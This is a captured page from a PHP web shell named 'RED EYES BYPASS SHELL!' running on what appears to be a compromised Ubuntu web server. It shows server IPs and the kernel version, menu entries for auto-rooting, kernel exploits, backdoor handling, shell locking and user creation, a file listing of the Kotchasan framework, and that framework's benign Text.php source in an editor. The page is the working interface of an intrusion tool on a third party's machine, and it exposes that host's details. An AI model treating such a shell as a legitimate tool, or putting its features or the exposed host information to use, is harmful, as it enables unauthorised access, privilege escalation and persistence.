Linux sothorn202 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 202.28.82.202 | : 216.73.216.9
pkexec version 0.105
Cant Read [ /etc/named.conf ]
iqtd
RED EYES BYPASS SHELL!
Terminal
Auto Root
Adminer
Backdoor Destroyer
Kernel Exploit
Lock Shell
Lock File
Create User
+ Create Folder
+ Create File
/
home /
lifelonglearn /
commert /
accout /
Kotchasan /
[ HOME SHELL ]
NAME
SIZE
PERMISSION
ACTION
Cache
[ DIR ]
drwxr-xr-x
Database
[ DIR ]
drwxr-xr-x
Http
[ DIR ]
drwxr-xr-x
Log
[ DIR ]
drwxr-xr-x
Orm
[ DIR ]
drwxr-xr-x
PHPMailer
[ DIR ]
drwxr-xr-x
Psr
[ DIR ]
drwxr-xr-x
Accordion.php
2.59
KB
-rwxr-xr-x
ApiController.php
5.59
KB
-rwxr-xr-x
ApiException.php
431
B
-rwxr-xr-x
ArrayTool.php
16.99
KB
-rwxr-xr-x
CKEditor.php
5.5
KB
-rwxr-xr-x
Collection.php
4.73
KB
-rwxr-xr-x
Config.php
8.7
KB
-rwxr-xr-x
Controller.php
512
B
-rwxr-xr-x
Country.php
31.94
KB
-rwxr-xr-x
Csv.php
9.82
KB
-rwxr-xr-x
Curl.php
8.35
KB
-rwxr-xr-x
Currency.php
12.71
KB
-rwxr-xr-x
DOMNode.php
6.07
KB
-rwxr-xr-x
DOMParser.php
6.58
KB
-rwxr-xr-x
DataTable.php
50.94
KB
-rwxr-xr-x
Database.php
3.26
KB
-rwxr-xr-x
Date.php
8.26
KB
-rwxr-xr-x
Email.php
7.12
KB
-rwxr-xr-x
File.php
4.52
KB
-rwxr-xr-x
Files.php
3.05
KB
-rwxr-xr-x
Form.php
36.01
KB
-rwxr-xr-x
Grid.php
1.02
KB
-rwxr-xr-x
Html.php
21.1
KB
-rwxr-xr-x
HtmlTable.php
6.97
KB
-rwxr-xr-x
Htmldoc.php
4.37
KB
-rwxr-xr-x
Image.php
13.58
KB
-rwxr-xr-x
InputItem.php
20.1
KB
-rwxr-xr-x
InputItemException.php
449
B
-rwxr-xr-x
Inputs.php
4.29
KB
-rwxr-xr-x
KBase.php
561
B
-rwxr-xr-x
Kotchasan.php
2.73
KB
-rwxr-xr-x
Language.php
18.22
KB
-rwxr-xr-x
ListItem.php
7.77
KB
-rwxr-xr-x
Login.php
9.3
KB
-rwxr-xr-x
Menu.php
2.92
KB
-rwxr-xr-x
Mime.php
51.18
KB
-rwxr-xr-x
Model.php
1.31
KB
-rwxr-xr-x
Number.php
2.64
KB
-rwxr-xr-x
ObjectTool.php
3.73
KB
-rwxr-xr-x
Password.php
2.97
KB
-rwxr-xr-x
Pdf.php
43.15
KB
-rwxr-xr-x
Province.php
11.71
KB
-rwxr-xr-x
Router.php
5.45
KB
-rwxr-xr-x
Session.php
2.22
KB
-rwxr-xr-x
Singleton.php
1.3
KB
-rwxr-xr-x
Tab.php
3.72
KB
-rwxr-xr-x
Template.php
8.37
KB
-rwxr-xr-x
Text.php
12.89
KB
-rwxr-xr-x
Validator.php
2.7
KB
-rwxr-xr-x
View.php
8.16
KB
-rwxr-xr-x
Xls.php
3.04
KB
-rwxr-xr-x
load.php
15.54
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Text.php
<?php /** * @filesource Kotchasan/Text.php * * @copyright 2016 Goragod.com * @license https://www.kotchasan.com/license/ * * @see https://www.kotchasan.com/ */ namespace Kotchasan; /** * String functions * * @author Goragod Wiriya <admin@goragod.com> * * @since 1.0 */ class Text { /** * ฟังก์ชั่น ตัดสตริงค์ตามความยาวที่กำหนด * หากข้อความที่นำมาตัดยาวกว่าที่กำหนด จะตัดข้อความที่เกินออก และเติม .. ข้างท้าย * * @assert ('สวัสดี ประเทศไทย', 8) [==] 'สวัสดี..' * @assert ('123456789', 8) [==] '123456..' * * @param string $source ข้อความ * @param int $len ความยาวของข้อความที่ต้องการ (จำนวนตัวอักษรรวมจุด) * * @return string */ public static function cut($source, $len) { if (!empty($len)) { $len = (int) $len; $source = (mb_strlen($source) <= $len || $len < 3) ? $source : mb_substr($source, 0, $len - 2).'..'; } return $source; } /** * ฟังก์ชั่น แปลงขนาดของไฟล์จาก byte เป็น kb mb * คืนค่าขนาดของไฟล์เป็น KB MB * * @assert (256) [==] '256 Bytes' * @assert (1024) [==] '1 KB' * @assert (1024 * 1024) [==] '1 MB' * @assert (1024 * 1024 * 1024) [==] '1 GB' * @assert (1024 * 1024 * 1024 * 1024) [==] '1 TB' * * @param int $bytes ขนาดของไฟล์ เป็น byte * @param int $precision จำนวนหลักหลังจุดทศนิยม (default 2) * * @return string */ public static function formatFileSize($bytes, $precision = 2) { $units = array('Bytes', 'KB', 'MB', 'GB', 'TB'); if ($bytes <= 0) { return '0 Byte'; } else { $bytes = max($bytes, 0); $pow = floor(($bytes ? log($bytes) : 0) / log(1024)); $pow = min($pow, count($units) - 1); $bytes /= pow(1024, $pow); return round($bytes, $precision).' '.$units[$pow]; } } /** * ฟังก์ชั่น HTML highlighter * แปลง BBCode * แปลงข้อความ http เป็นลิงค์ * คืนค่าข้อความ * * @param string $detail ข้อความ * * @return string */ public static function highlighter($detail) { $detail = preg_replace_callback('/\[([uo]l)\](.*)\[\/\\1\]/is', function ($match) { return '<'.$match[1].'><li>'.preg_replace('/<br(\s\/)?>/is', '</li><li>', $match[2]).'</li></'.$match[1].'>'; }, $detail); $patt[] = '/\[(i|dfn|b|strong|u|em|ins|del|sub|sup|small|big)\](.*)\[\/\\1\]/is'; $replace[] = '<\\1>\\2</\\1>'; $patt[] = '/\[color=([#a-z0-9]+)\]/i'; $replace[] = '<span style="color:\\1">'; $patt[] = '/\[size=([0-9]+)(px|pt|em|\%)\]/i'; $replace[] = '<span style="font-size:\\1\\2">'; $patt[] = '/\[\/(color|size)\]/i'; $replace[] = '</span>'; $patt[] = '/\[url\](.*)\[\/url\]/i'; $replace[] = '<a href="\\1" target="_blank">\\1</a>'; $patt[] = '/\[url=(ftp|https?):\/\/(.*)\](.*)\[\/url\]/i'; $replace[] = '<a href="\\1://\\2" target="_blank">\\3</a>'; $patt[] = '/\[url=(\/)?(.*)\](.*)\[\/url\]/i'; $replace[] = '<a href="'.WEB_URL.'\\2" target="_blank">\\3</a>'; $patt[] = '/([^["]]|\r|\n|\s|\t|^)((ftp|https?):\/\/([a-z0-9\.\-_]+)\/([^\s<>\"\']{1,})([^\s<>\"\']{20,20}))/i'; $replace[] = '\\1<a href="\\2" target="_blank">\\3://\\4/...\\6</a>'; $patt[] = '/([^["]]|\r|\n|\s|\t|^)((ftp|https?):\/\/([^\s<>\"\']+))/i'; $replace[] = '\\1<a href="\\2" target="_blank">\\2</a>'; $patt[] = '/(<a[^>]+>)(https?:\/\/[^\%<]+)([\%][^\.\&<]+)([^<]{5,})(<\/a>)/i'; $replace[] = '\\1\\2...\\4\\5'; $patt[] = '/\[youtube\]([a-z0-9-_]+)\[\/youtube\]/i'; $replace[] = '<div class="youtube"><iframe src="//www.youtube.com/embed/\\1?wmode=transparent"></iframe></div>'; return preg_replace($patt, $replace, $detail); } /** * แปลง & " ' < > \ { } $ เป็น HTML entities ใช้แทน htmlspecialchars() ของ PHP * * @assert ('&"\'<>\\{}$') [==] '&"'<>\{}$' * * @param string $text * @param bool $double_encode true (default) แปลง รหัส HTML เช่น & เป็น &amp;, false ไม่แปลง * * @return string */ public static function htmlspecialchars($text, $double_encode = true) { if ($text === null) { return ''; } $str = preg_replace(array('/&/', '/"/', "/'/", '/</', '/>/', '/\\\/', '/\{/', '/\}/', '/\$/'), array('&', '"', ''', '<', '>', '\', '{', '}', '$'), $text); if (!$double_encode) { $str = preg_replace('/&(amp;([#a-z0-9]+));/i', '&\\2;', $str); } return $str; } /** * ฟังก์ชั่น ลบช่องว่าง และ ตัวอักษรขึ้นบรรทัดใหม่ ที่ติดกันเกินกว่า 1 ตัว * คืนค่าข้อความที่ไม่มีตัวอักษรขึ้นบรรทัดใหม่ * * @assert (" \tทดสอบ\r\nภาษาไทย") [==] 'ทดสอบ ภาษาไทย' * * @param string $text ข้อความ * @param int $len จำนวนตัวอักษรสูงสุดที่ต้องการ, (default) คืนค่าทั้งหมด * * @return string */ public static function oneLine($text, $len = 0) { if ($text === null) { return ''; } return self::cut(trim(preg_replace('/[\r\n\t\s]+/', ' ', $text)), $len); } /** * รับค่าสำหรับ password อักขระทุกตัวไม่มีช่องว่าง * * @assert (" 0\n12 34\r\r6\t5ทดสอบ@#$&{}!?+_-=*") [==] '0123465ทดสอบ@#$&{}!?+_-=*' * * @param string $text * * @return string */ public static function password($text) { if ($text === null) { return ''; } return preg_replace('/[^\w\@\#\*\$\&\{\}\!\?\+_\-=ก-ฮ]+/', '', $text); } /** * ลบตัวอักษรที่ไม่สามารถพิมพ์ได้ออก * ตั้งแต่ chr(128)-chr(255) หรือ \x80-\xFF ขึ้นไปจะถูกลบออก * * @assert (chr(0).chr(127).chr(128).chr(255)) [==] chr(0).chr(127) * * @param string $text * * @return string */ public static function removeNonCharacters($text) { return preg_replace('/((?:[\x00-\x7F]|[\xC0-\xDF][\x80-\xBF]|[\xE0-\xEF][\x80-\xBF]{2}|[\xF0-\xF7][\x80-\xBF]{3}){1,100})|./x', '\\1', $text); } /** * ฟังก์ชั่นคืนค่าข้อความซ้ำๆตามจำนวนที่กำหนด * * @assert ('0', 10) [==] '0000000000' * * @param string $text ข้อความหรือตัวอักษรที่ต้องการทำซ้ำ * @param int $count จำนวนที่ต้องการ * * @return string */ public static function repeat($text, $count) { $result = ''; for ($i = 0; $i < $count; ++$i) { $result .= $text; } return $result; } /** * แทนที่ข้อความด้วยข้อมูลจากแอเรย์ รองรับข้อมูลรูปแบบแอเรย์ย่อยๆ * * @assert ("SELECT * FROM table WHERE id=:id AND lang IN (:lang, '')", array(':id' => 1, array(':lang' => 'th'))) [==] "SELECT * FROM table WHERE id=1 AND lang IN (th, '')" * * @param string $source ข้อความต้นฉบับ * @param array $replace ข้อความที่จะนำมาแทนที่ รูปแบบ array($key1 => $value1, $key2 => $value2) ข้อความใน $source ที่ตรงกับ $key จะถูกแทนที่ด้วย $value * * @return string */ public static function replace($source, $replace) { if (!empty($replace)) { $keys = array(); $values = array(); ArrayTool::extract($replace, $keys, $values); $source = str_replace($keys, $values, $source); } return $source; } /** * ฟังก์ชั่น เข้ารหัส อักขระพิเศษ และ {} ก่อนจะส่งให้กับ textarea หรือ editor ตอนแก้ไข * & " ' < > { } ไม่แปลง รหัส HTML เช่น & & * * @assert ('&"'."'<>{}&&") [==] "&"'<>{}&&" * * @param string $text ข้อความ * * @return string */ public static function toEditor($text) { if ($text === null) { return ''; } return preg_replace(array('/&/', '/"/', "/'/", '/</', '/>/', '/{/', '/}/', '/&(amp;([\#a-z0-9]+));/'), array('&', '"', ''', '<', '>', '{', '}', '&\\2;'), $text); } /** * แปลง tag และ ลบช่องว่างไม่เกิน 1 ช่อง ไม่ขึ้นบรรทัดใหม่ * เช่นหัวข้อของบทความ * * @assert (' ทด\/สอบ$'."\r\n\t".'<?php echo \'555\'?> ') [==] 'ทด\/สอบ$ <?php echo '555'?>' * @assert (' ') [==] '&nbsp;' * @assert (' ', false) [==] ' ' * * @param string $text * @param bool $double_encode true (default) แปลง รหัส HTML เช่น & เป็น &amp;, false ไม่แปลง * * @return string */ public static function topic($text, $double_encode = true) { return trim(preg_replace('/[\r\n\s\t]+/', ' ', self::htmlspecialchars($text, $double_encode))); } /** * แปลง htmlspecialchars กลับเป็นอักขระปกติ * * @assert (\Kotchasan\Text::htmlspecialchars('&"\'<>\\{}$')) [==] '&"\'<>\\{}$' * * @param string $text * * @return string */ public static function unhtmlspecialchars($text) { if ($text === null) { return ''; } return str_replace(array('&', '"', ''', '<', '>', '\', '{', '}', '$'), array('&', '"', "'", '<', '>', '\\', '{', '}', '$'), $text); } /** * แปลง tag ไม่แปลง & * และลบช่องว่างหัวท้าย * สำหรับ URL หรือ email * * @assert (" http://www.kotchasan.com?a=1&b=2&c=3 ") [==] 'http://www.kotchasan.com?a=1&b=2&c=3' * @assert ("javascript:alert('xxx')") [==] 'alertxxx' * @assert ("http://www.xxx.com/javascript/") [==] 'http://www.xxx.com/javascript/' * * @return string */ public static function url($text) { if ($text === null) { return ''; } $text = preg_replace('/(^javascript:|[\(\)\'\"]+)/', '', trim($text)); return self::htmlspecialchars($text, false); } /** * ฟังก์ชั่นรับค่าสำหรับใช้เป็น username * รองรับอีเมล ตัวเลข (หมายเลขโทรศัพท์) @ - _ . เท่านั้น * * @assert (' ad_min@demo.com') [==] 'ad_min@demo.com' * @assert ('012 3465') [==] '0123465' * * @param string $text * * @return string */ public static function username($text) { if ($text === null) { return ''; } return preg_replace('/[^a-zA-Z0-9@\.\-_]+/', '', $text); } }
Close